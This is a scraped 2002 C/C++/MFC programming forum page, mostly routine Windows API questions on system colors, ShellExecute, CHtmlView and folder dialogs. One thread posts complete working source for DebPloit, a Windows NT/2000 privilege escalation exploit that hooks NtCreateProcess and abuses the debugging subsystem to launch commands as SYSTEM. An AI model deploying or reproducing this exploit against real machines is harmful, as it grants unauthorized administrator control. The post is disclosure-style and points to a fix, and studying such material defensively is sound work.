C / C++ / MFC

Re: How to get system color?

8-Apr-02 1:30

How to get sytem color: window text color, window bkcolor...

I'm amumu, and you?

8-Apr-02 1:44

run help index
start to type
getsys
you will see GetSysColor()
t!

Re: How to get system color?

Feng Qin8-Apr-02 1:49

how can get the CPU info!

8-Apr-02 1:49

Thankyou

I'm amumu, and you?

wangyiming8-Apr-02 1:02

wangyiming

8-Apr-02 1:02

how can get the CPU unique id?
Thanks

Re: how can get the CPU info!

Lizp8-Apr-02 2:13

Lizp

8-Apr-02 2:13

Try GetSystemInfo().

Scratch

Re: how can get the CPU info!

wangyiming8-Apr-02 19:01

wangyiming

8-Apr-02 19:01

Thank you

Undeclared Identifier

7-Apr-02 22:55

I'm trying to use:

ShellExecute(hwnd, NULL, "C:\\Program\\MyApp.EXE", NULL, NULL, SW_SHOW);

to launch a program after a button is clicked on the dialog box but I keep getting the error Undeclared identifier on hwnd, could someone please please help me.

Clara

Re: Undeclared Identifier

7-Apr-02 23:09

you should try to use NULL or this->HWnd instead of hwnd which is not defined

Re: Undeclared Identifier

Jon Hulatt7-Apr-02 23:37

Jon Hulatt

7-Apr-02 23:37

Undeclared Identifier means exactly what it says... "hwnd" has not been declared. I suspect that either your forgot to have a line like this somewhere:

HANDLE hwnd;

or, you've declared it but are using the wrong case. Remember, hWnd is different to hwnd in C/C++.

If you're using MFC, then it's probably appropriate to call ShellExecute like this:

ShellExecute(this->m_hWnd, NULL, "C:\\Program\\MyApp.EXE", NULL, NULL, SW_SHOW);

Jon

Sorry to dissapoint you all with my lack of a witty or poignant signature.

Re: Undeclared Identifier

Rickard Andersson²⁰8-Apr-02 5:46

Rickard Andersson²⁰

8-Apr-02 5:46

the 'hwnd' parameter is that window that calls this function, or to say: Owns it!
You can decide which window that will own it. Pass your parent window to that.

Understand? Perhaps not, because my explanations in English doesn't have such good quality! Smile | :)

------------------------------------
Rickard Andersson, Suza Computing
ICQ#: 50302279
I'm from the winter country SWEDEN!

------------------------------------

When is it safe to call GetHtmlDocument() in a CHtmlView?

Nish Nishant7-Apr-02 22:30

Re: When is it safe to call GetHtmlDocument() in a CHtmlView?

7-Apr-02 22:30

GetHtmlDocument() returns NULL when I call it from OnInitialUpdate() in my CHtmlView derived class.

But later when I call it from a menu command handler function it works fine.

Why is this? Is this intended behaviour?

Nish

If I am awake and my eyes are closed, it does not necessarily mean that I am thinking of naked women.

Niklas L8-Apr-02 1:28

Niklas L

8-Apr-02 1:28

Nish [BusterBoy] wrote:
GetHtmlDocument() returns NULL when I call it from OnInitialUpdate()

Yes, that's how it works. At the time you reach OnInitialUpdate(), there is yet no document loaded into the web browser control. Your document will have been loaded in OnNavigateComplete2(). If you want to interact fully with the document, you should wait until the documents COM-object structure is comlete, after which OnDocumentComplete() is called.

Re: When is it safe to call GetHtmlDocument() in a CHtmlView?

Nish Nishant8-Apr-02 5:36

How to become Admin on NT/W2K (code inside)

8-Apr-02 5:36

Thanks again.
I overcame this issue by navigating to about:blank in my OnInitialUpdate(...) before I try to populate the control

Nish

If I am awake and my eyes are closed, it does not necessarily mean that I am thinking of naked women.

7-Apr-02 22:19

Hello,

I hope everybody heard about the new vulnerability called DebPloit in Windows NT and Windows 2000. I've written small example that shows how you can obtain administrative privileges when your code is running under non-privileged account.

// debploit.cpp (Windows NT/2000)
//
// This program creates a process in the security context of the SYSTEM user.
// It uses a security hole in the Windows NT/2000 debugging subsystem
// originally discovered by Radim "EliCZ" Picha (March 9, 2002).
//
// You can have any privileges (you can be even Guest!) to execute this program
// and become an administrator of the local system.
//
// More information about this security hole can be found at http://www.anticracking.sk/EliCZ
// Microsoft was informed but still didn't release any hotfix (April 6, 2002).
// There is an unofficial hotfix that closes this security hole, you can download it from
// http://www.protect-me.com/freeware.html
//
//
// To link this program, you should have NTDLL.LIB from the DDK.
//
// (c) 2002 Ashot Oganesyan (ashot@protect-me.com)
// (c) 2002 SmartLine, Inc. (http://www.protect-me.com)

#include <windows.h>
#include <stdio.h>
#include <tchar.h>

typedef LONG NTSTATUS;

#define NTAPI __stdcall
#define NT_SUCCESS(Status) ((LONG)(Status) >= 0)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)

#define DBG_SS_API_PORT_NAME L"\\DbgSsApiPort"
#define SS_CREATE_PROCESS_REQUEST 2
#define MAX_DBG_SS_CP_LPC_MESSAGE_SIZE 0x80
#define DBG_SS_CP_LPC_DATA_SIZE 0x38

#pragma pack(1)
typedef struct _ASMJUMP
{
BYTE mov_eax;
LPVOID address;
WORD jump_eax;
} ASMJUMP, *PASMJUMP;
#pragma pack()

typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

typedef struct _PORT_MESSAGE {
USHORT DataSize;
USHORT MessageSize;
USHORT MessageType;
USHORT VirtualRangesOffset;
CLIENT_ID CallerId;
ULONG MessageId;
ULONG SectionSize;
ULONG DebugEventCode;
ULONG Status;
CLIENT_ID DebuggeeId;
PVOID DbgSsKmMsg;
CLIENT_ID DebuggerId;
DWORD Unknown;
HANDLE hFile;
LPVOID ImageBase;
ULONG DebugInfoFileOffset;
ULONG DebugInfoSize;
LPVOID ThreadLocalBase;
LPTHREAD_START_ROUTINE ThreadStartAddress;
LPVOID ImageName;
USHORT Unicode;
USHORT wImageName[(MAX_DBG_SS_CP_LPC_MESSAGE_SIZE - 0x56) / sizeof(USHORT)];
} PORT_MESSAGE, *PPORT_MESSAGE;

typedef struct _PORT_SECTION_WRITE {
ULONG Length;
HANDLE SectionHandle;
ULONG SectionOffset;
ULONG ViewSize;
PVOID ViewBase;
PVOID TargetViewBase;
} PORT_SECTION_WRITE, *PPORT_SECTION_WRITE;

typedef struct _PORT_SECTION_READ {
ULONG Length;
ULONG ViewSize;
ULONG ViewBase;
} PORT_SECTION_READ, *PPORT_SECTION_READ;

typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#ifdef __cplusplus
extern "C" {
#endif

NTSYSAPI
VOID
NTAPI
RtlInitUnicodeString (
OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);

NTSYSAPI
NTSTATUS
NTAPI
NtConnectPort(
OUT PHANDLE PortHandle,
IN PUNICODE_STRING PortName,
IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,
IN OUT PPORT_SECTION_WRITE WriteSection OPTIONAL,
IN OUT PPORT_SECTION_READ ReadSection OPTIONAL,
OUT PULONG MaxMessageSize OPTIONAL,
IN OUT PVOID ConnectData OPTIONAL,
IN OUT PULONG ConnectDataLength OPTIONAL
);

NTSYSAPI
NTSTATUS
NTAPI
DbgUiConnectToDbg(VOID);

NTSYSAPI
NTSTATUS
NTAPI
NtRequestPort(
IN HANDLE PortHandle,
IN PPORT_MESSAGE RequestMessage
);

NTSYSAPI
NTSTATUS
NTAPI
NtClose(
IN HANDLE hObject
);

NTSYSAPI
ULONG
NTAPI
RtlNtStatusToDosError(
NTSTATUS status
);

#ifdef __cplusplus
}
#endif

HANDLE g_hParentProc;
DWORD g_dwFunc;

// Hooked NtCreateProcess
void __declspec(naked)HookedNtCreateProcess()
{
_asm
{
mov eax,g_hParentProc // change parent's process handle
mov dword ptr [esp + 16],eax
mov eax,g_dwFunc // value depends on OS version
lea edx,dword ptr [esp + 4]
int 2Eh
retn 20h
}
}

HANDLE StealProcessHandle(DWORD dwPid)
{
HANDLE hProcess = NULL,
hDbgSsApiPort = NULL;
SECURITY_QUALITY_OF_SERVICE Qos;
UNICODE_STRING usDbgSsApiPort;
PORT_MESSAGE PortMessage;
DEBUG_EVENT DebugEvent;
NTSTATUS Status = STATUS_SUCCESS;

Qos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
Qos.ImpersonationLevel = SecurityImpersonation;
Qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;
Qos.EffectiveOnly = TRUE;

RtlInitUnicodeString(&usDbgSsApiPort,DBG_SS_API_PORT_NAME);

// Connect to DbgSsApiPort
Status = NtConnectPort(&hDbgSsApiPort,&usDbgSsApiPort,&Qos,NULL,NULL,NULL,NULL,NULL);
if (!NT_SUCCESS(Status))
goto cleanup;

Status = DbgUiConnectToDbg();
if (!NT_SUCCESS(Status))
goto cleanup;

ZeroMemory(&PortMessage,sizeof(PORT_MESSAGE));

PortMessage.DataSize = DBG_SS_CP_LPC_DATA_SIZE;
PortMessage.MessageSize = sizeof(PORT_MESSAGE);
PortMessage.DebugEventCode = SS_CREATE_PROCESS_REQUEST;
PortMessage.DebuggeeId.UniqueProcess = (HANDLE)dwPid;
PortMessage.DebuggerId.UniqueProcess = (HANDLE)GetCurrentProcessId();
PortMessage.DebuggerId.UniqueThread = (HANDLE)GetCurrentThreadId();

Status = NtRequestPort(hDbgSsApiPort,&PortMessage);
if (!NT_SUCCESS(Status))
goto cleanup;

if (WaitForDebugEvent(&DebugEvent,1000) == FALSE)
goto cleanup;

if(DebugEvent.dwDebugEventCode != CREATE_PROCESS_DEBUG_EVENT || DebugEvent.u.CreateProcessInfo.hProcess == NULL)
goto cleanup;

// Duplicate the handle to get full access to it
DuplicateHandle(DebugEvent.u.CreateProcessInfo.hProcess,GetCurrentProcess(),GetCurrentProcess(),&hProcess,0,FALSE,DUPLICATE_SAME_ACCESS);

CloseHandle(DebugEvent.u.CreateProcessInfo.hProcess);

cleanup:

if (hDbgSsApiPort)
NtClose(hDbgSsApiPort);

if (!NT_SUCCESS(Status))
SetLastError(RtlNtStatusToDosError(Status));

return hProcess;
}

int _tmain(int argc, TCHAR* argv[])
{
UINT ProcessId;
OSVERSIONINFO VersionInfo;
DWORD dw;
MEMORY_BASIC_INFORMATION mbi;
PROCESS_INFORMATION pi;
STARTUPINFO si;
PASMJUMP NtCreateProcessHook;
LPTSTR lpProgramToExecute;
BOOL bWaitForParent = FALSE;

// Get OS version
VersionInfo.dwOSVersionInfoSize = sizeof(VersionInfo);
GetVersionEx(&VersionInfo);

// DebPloit works only on NT/W2K
if ( !(VersionInfo.dwPlatformId & VER_PLATFORM_WIN32_NT) || (VersionInfo.dwMajorVersion == 5 && VersionInfo.dwMinorVersion != 0) )
{
printf(TEXT("This program works only on Windows NT/2000\n"));
return -1;
}

if (argc < 2)
{
printf("\nUsage:\n\t DebPloit.exe [Parent PID] <Command Line>\n\n");
printf("Parent PID - parent process (if not specified - system process will be used)\n");
printf("Command Line - program to execute in the security context of Parent PID\n\n");
printf("Example:\n\t DebPloit.exe cmd\n");
printf("\t DebPloit.exe 123 cmd\n");
return -1;
}

// Get PID of the system process and the NtCreateProcess's number
switch(VersionInfo.dwMajorVersion)
{
case 3: // NT 3.51

ProcessId = 0x02;
g_dwFunc = 0x1E;
break;

case 4: // NT 4.0

ProcessId = 0x02;
g_dwFunc = 0x1F;
break;

case 5: // W2K

ProcessId = 0x08;
g_dwFunc = 0x29; // 0x2A - for W2K beta;
break;
}

if (argc > 2)
{
_stscanf(argv[1],TEXT("%lu"),&dw);

if (dw == 0)
{
printf("Invalid Parent PID specified!\n");
return -1;
}

lpProgramToExecute = argv[2];

if (dw != ProcessId)
bWaitForParent = TRUE;

ProcessId = dw;
}
else
lpProgramToExecute = argv[1];

// Get a pointer to NtCreateProcess
NtCreateProcessHook = (PASMJUMP)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")),"NtCreateProcess");
if (NtCreateProcessHook == NULL)
{
printf("GetProcAddress failed - %lu\n",GetLastError());
return -1;
}

// Enable write acess to NtCreateProcess in our own address space
VirtualQuery(NtCreateProcessHook,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
VirtualProtect(mbi.AllocationBase,mbi.RegionSize,PAGE_EXECUTE_READWRITE,&dw);

// Redirect call to HookedNtCreateProcess:
//
// mov eax,HookedNtCreateProcess
// jmp eax
NtCreateProcessHook->mov_eax = 0xB8;
NtCreateProcessHook->address = HookedNtCreateProcess;
NtCreateProcessHook->jump_eax = 0xE0FF;

// Get a handle of the specified process
g_hParentProc = StealProcessHandle(ProcessId);
if (g_hParentProc == NULL)
{
printf("StealProcessHandle failed - %lu\n",GetLastError());
return -1;
}

ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
ZeroMemory(&si,sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);

// Call modified CreateProcess (HookedNtCreateProcess will be called!)
if (CreateProcess(NULL,lpProgramToExecute,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
else
printf("CreateProcess failed - %lu\n",GetLastError());

// We must wait until the parent process terminates (if it's not a system process)
if (bWaitForParent)
{
FreeConsole();
WaitForSingleObject(g_hParentProc,INFINITE);
}

CloseHandle(g_hParentProc);

return 0;
}

You can also download full package from http://www.smartline.ru/software/DebPloitFix.zip

Re: How to become Admin on NT/W2K (code inside)

tongc7-Apr-02 23:28

tongc

7-Apr-02 23:28

Hi

as far as i'm concerned, Microsoft has not release any patch to fix this security hole or did it???

Re: How to become Admin on NT/W2K (code inside)

8-Apr-02 4:03

No, he totally ignores this problem.

How to display a folder select dialog?

Feng Qin7-Apr-02 21:25

7-Apr-02 21:25

Just like the system popup.

I'm amumu, and you?

Nish Nishant7-Apr-02 21:36

7-Apr-02 21:36

SHBrowseForFolder

Nish

If I am awake and my eyes are closed, it does not necessarily mean that I am thinking of naked women.

Feng Qin7-Apr-02 22:32

7-Apr-02 22:32

BROWSEINFO bi;
bi.hwndOwner = this->m_hWnd;
bi.pidlRoot = NULL;
bi.pszDisplayName = "pszDisplayName";
bi.lpszTitle = "lpszTitle";
bi.ulFlags |= BIF_BROWSEFORCOMPUTER |BIF_RETURNONLYFSDIRS ;
bi.lpfn = NULL;

ITEMIDLIST* pil = SHBrowseForFolder(&bi);
That's my code, when i click ok, it will be error Frown | :(

I'm amumu, and you?

PJ Arends8-Apr-02 0:21

PJ Arends

8-Apr-02 0:21

http://www.codeproject.com/editctrl/fileeditctrl.asp

---
CPUA 0x5041

Sonork 100.11743 Chicken Little

It may be that your sole purpose in life is simply to serve as a warning to others.

Feng Qin8-Apr-02 1:19

8-Apr-02 1:19

I got it, thank you Smile | :)

I'm amumu, and you?

CHtmlView help ...

Nish Nishant7-Apr-02 20:54

7-Apr-02 20:54

Hello all,

I need some help with CHtmlView.

What I need to achieve :- I am creatying an HTML file in memory and need to preview it to the user.

Current plan :- Create a temporary HTML file and open it in Internet Explorer

Alternate plan :- Create a frame window, with a CHtmlView and jump up this frame window. Now I need to transfer my in-memory HTML code into this CHtmlView. How do I do that please?

Warm regards
Buster

If I am awake and my eyes are closed, it does not necessarily mean that I am thinking of naked women.

Re: CHtmlView help ...

Nish Nishant7-Apr-02 21:38

7-Apr-02 21:38

So?

Nish Frown | :(

If I am awake and my eyes are closed, it does not necessarily mean that I am thinking of naked women.

Re: CHtmlView help ...

Michael P Butler7-Apr-02 21:59

Michael P Butler

7-Apr-02 21:59

I found that the easiest way was to create the temp html file and then navigate to that. There didn't seem to be an easier way to do it. I came across a few ideas in the ATL mailing list archives but nothing that seemed easy to implement.

Michael Smile | :)

Re: CHtmlView help ...

Nish Nishant7-Apr-02 22:27